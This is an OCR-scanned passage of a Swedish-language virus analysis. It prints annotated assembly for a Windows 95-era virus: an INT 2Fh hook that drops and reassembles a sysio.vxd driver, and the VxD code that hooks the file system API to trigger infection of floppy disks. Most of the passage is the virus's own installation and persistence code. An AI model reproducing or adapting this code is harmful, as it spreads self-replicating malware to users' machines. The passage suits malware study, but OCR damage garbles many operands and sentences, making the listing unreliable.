; efter det konventionella minnets slut.

push cs

pop dx

; Spara DS v arde och | at sedan DS peka p a segment
; 0. D arefter st aller viruset r att m angden ledigt

; minne i BIOS dataarea, aterst aller DS v arde och
; returnerar.

push ds

push 0

pop ds

assume ds:seg000

push cs:word 0 697

pop word 0 413

pop ds

assume ds:nothing

iret
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; Anropa den ursprungliga ISR:en f
loc_ 0 198:
jmp cs:dword_0_691

or INT 2Fh.
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11 ISR for INT 2Fh med DOS 7.0 eller hogre

Den har rutinen installeras senare av viruset om det visar sig att daborn k
Windows 9x/ME. Rutinen har till uppgift att kopiera in VxD:n till Win-
dows. VxD:n ligger lagrad i delarat varje defr ett antal bytes i rad som
inte innetaller en Ang rad nollor. Mr VxD:n ska kopieras ingsfyller vi-
ruset @ med &tt antal nollor mellan delarn@f attaterskapa hela VxD:n,
som innefRller fler nolloran andra bytes.&Pdet éttet tar viruset mycket
mindre platsan det skulle gra annars.

19D:

; Ar detta ett Windows Enhanced Mode Init

: Broadcast? Om inte s a gors ett hopp till

; loc_0_198, allts a den gamla ISR:en f or INT 2Fh.
cmp ax, 1605h

jnz loc_0 198

; Utf Or sj alva installationen av viruset i

; Windows. Om detta misslyckas s a gors ett hopp
; till loc_0_198, allts a den gamla ISR:en f or
; INT 2Fh.

call sub_0 360

jb loc_0_198

; Kor gamla ISR:en och |  &gger in viruset i

; kedjan av "startup info structures”. D arefter
; returnerar viruset till Windows igen.

pushf

call cs:dword 0 691
mov cs:word_0_ 640, bx
mov cs:word_0 642, es
mov cs:word_0 646, cs
mov bx, cs

mov es, bx

assume es:seg000
mov bx, 63Eh

iret

sub_ 0 360:
proc near
; Sparar register som viruset andrar 1.

pusha
push ds
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push es

; DS=CS.
push cs
pop ds

; ES=CS.
push cs
pop es

: Utf or installationen av viruset i Windows.
call sub_0 36e

© Aterst aller register som viruset andrat .
pop es

assume es:nothing

pop ds

assume ds:nothing

popa

retn

endp

sub_ 0 36e:
proc near

: Bagge dessa pekar p a str angen "windows\system\
; sysio.vxd\0".
mov di, 622h
mov si, 606h

; Antalet bytes i varje str ang inklusive nollan
: p a slutet.
mov cx, 19h

; Kopiera in VxD:n. Om det lyckas s a hoppa till
; loc_0_3e4, allts a returnera till Windows igen.
call sub_0 39b

jnb loc_0_3e4

; Kopieringen misslyckades. Det beror p a att

; viruset inte kunde hitta katalogen "c:\windows\

; system". Precis innan sub_0 39b returnerade

; sattes DI = 625h. D ar ligger str angen "dows\
; system\sysio.vxd". Lagra "95" d ar. Nu finns

; str angen "c:\win95..." p a offset 61Fh.
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mov ax, 3539h
stosw

; GOr nu ett nytt f ors 0k med "c:\win95\system\

; sysio.vxd". Om det lyckas s a hoppa till

; loc_0_3e4, allts a returnera till Windows igen.
call sub_0 395

jnb loc_0_3e4

; Kopieringen misslyckades igen. Det beror p a

; att viruset inte heller kunde hitta katalogen
; "c:\win95\system”. Precis innan sub_0 39b

; returnerade sattes DI = 625h. D ar ligger

; str angen "95ws\system\". Nu finns str angen
; "c\win." p a offset 61Fh. G or ett nytt

; T ors 0k med "c:\win\system\sysio.vxd". Om det

. lyckas s & hoppa till loc_0_3e4, allts a

; returnera till Windows igen.

call sub_0 395

jnb loc_0 3e4

: Nu | ater viruset Sl peka p a str angen

; "sysio.vxd" och DI peka p a positionen strax

; efter "c:\". Allts a gor det ett sista f ors ok
; med "c:\sysio.vxd".

mov di, 622h

mov si, 615h

mov cx, OAh
jmp short sub_0_39b
endp

sub_0_395:

proc near
mov si, 60Dh
mov c¢x, 12h
endp

sub 0 39b:
proc near
; Kopiera CX bytes from DS:SI till ES:DI.

cld
rep movsb
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: Oppna existerande fil. DS:DX = ASCIZ filnamn

; "c:\windows\system\sysio.vxd". L agg handtaget
; I BX. Hoppa till loc_0_3e0 om oppningen

; lyckades, allts a st ang filen och aterv and till
; Windows. Detta eftersom Windows redan ar

; infekterat om filen finns d ar.

mov ax, 3D02h

mov dx, 61Fh

int 21h

xchg ax, bx

jnb loc_0_3e0

; Filen fanns inte - s a skapa den. DS:DX =

; ASCIZ filnamn "c:\windows\system\sysio.vxd".

; L agg handtaget i BX. Hoppa till loc_ 0 3e4 om

: det misslyckades, allts a aterv and till Windows.
mov ah, 3Ch

XOr CcX, CX

mov dx, 61Fh

int 21h

jb loc_0_3e4

xchg ax, bx

; Pekar p a forsta byten i VxD:n som viruset b ar
; med sig.
mov si, 472h

; Pekar p a storleken p a forsta delen av VxD:n.
mov di, 412h

loc_0_3bb:

; Flytta in storleken p a nasta del av VxD:n i CX.
; Hit kommer viruset s a manga ganger som kr avs
. f oratt f a med hela VxD:n.

mov cx, [di]

; Flytta fram till offsetet d ar antalet bytes

; som ska fyllas med nollor ligger lagrat.

inc di

inc di

: L at DX inneh alla offsetet till n asta del av

: VxD:n i minnet.

mov dx, Si
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; Skriv till filen. Filhandtaget ligger i BX sen

; tidigare. CX inneh aller antalet bytes som ska

; skrivas sen tidigare. DS:DX pekar p a vxDin i
; minnet.

add si, cx

mov ah, 40h

int 21h

; Hamta antalet bytes som ska fyllas ut med
; nollor.
mov cx, [di]

; Flytta fram till positionen som anger storleken
; p a nasta del av VxD:n.

inc di

inc di

; Viruset ar f ardigt om det tr affar ett antal som
. ar OFFFFh. D a returnerar det tillbaka till

; Windows.

cmp cx, OFFFFh

jz loc_0 3e0

loc_0_3dO:
push cx

: Skriv en nolla till filens slut.
mov ah, 40h

mov cXx, 1

mov dx, 413h

int 21h

pop cx

; Repetera tills alla nollor som skulle skrivas
; in har skrivits in.
loop loc_0_3d0

; Repetera f ©or att | @&sa in n asta del av VxD:n.
jmp short loc_0_3bb

; St ang filen med handtaget som ligger i BX sedan
; tidigare.

loc_0 3e0:

mov ah, 3Eh
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int 21h

: Returnera till Windows.

loc_0_3e4:
mov di, 625h
retn

endp
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12 VxD:n sysio.vxd

VxD:n sysio.vxd har som enda funktion att trigga virusets infektionsrutin
mot en diskett &r amandaren accessar en diskettragot sitt som orsakar
en $kning av Anga filnamn.

)

; Vardet p a EAX i denna entrypoint ar d aligt

; dokumenterat men verkar inneh alla versions-

; numret p a en komponent i Windows, som viruset
; g or en kontroll mot. Det ar antagligen detta
; som g Or att viruset inte ar kapabelt att

;. infektera disketter i andra versioner av
: Windows an 95.

cmp eax, 2

jz short loc_C

cmp eax, 1Bh

jz short loc_C

clc

retn

; Installera en filsystemshook med en hook-
; funktion p & loc_2C. Den gamla funktionens
; adress sparas i ds:28h och sedan avslutas
; initieringen av VxD:n.

loc_C:

mov eax, offset loc_2C

push eax

VxDcall IFSMgr_InstallFileSystemApiHook

add esp, 4

mov large ds:28h, eax

or eax, eax

jz short loc_26

clc

retn

loc_26:
stc
retn

; Detta  ar hookfunktionen.
loc_2C:

push ebp

mov ebp, esp

sub esp, 20h

push edx
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; 2Ch = s 0kning efter | anga filnamn. Om
; anropet g aller en s adan sa forts atter
; viruset, annars anropar det original-

; funktionen direkt.

cmp dword ptr [ebp+0Ch], 2Ch

jnz short loc_54

; Vilken enhet r or det? Om det inte r ©or en
; diskett s a kors originalfunktionen direkt.

mov edx, [ebp+10h]

cmp dl, 3

jnb short loc_54

or dl, dl

jz short loc_54

: Enheten ar l-baserad s & man naste minska med

;1 f or att f & ett enhetsnummer av BIOS-typ.
dec dl

; Kor ett INT 60h - detta m aste g oras med ett
; speciellt anrop n ar man ar inne i en VxD.
pusha

push 60h

VMMcall Exec_VXD_Int

popa

; Anropa originalfunktionen med r att
; parametrar.

loc_54:

mov eax, [ebp+1Ch]
push eax

mov eax, [ebp+18h]
push eax

mov eax, [ebp+14h]
push eax

mov eax, [ebp+10h]
push eax

mov eax, [ebp+0Ch]
push eax

mov eax, [ebp+8]
push eax

mov eax, large ds:28h
call dword ptr [eax]
pop edx

add esp, 18h

leave
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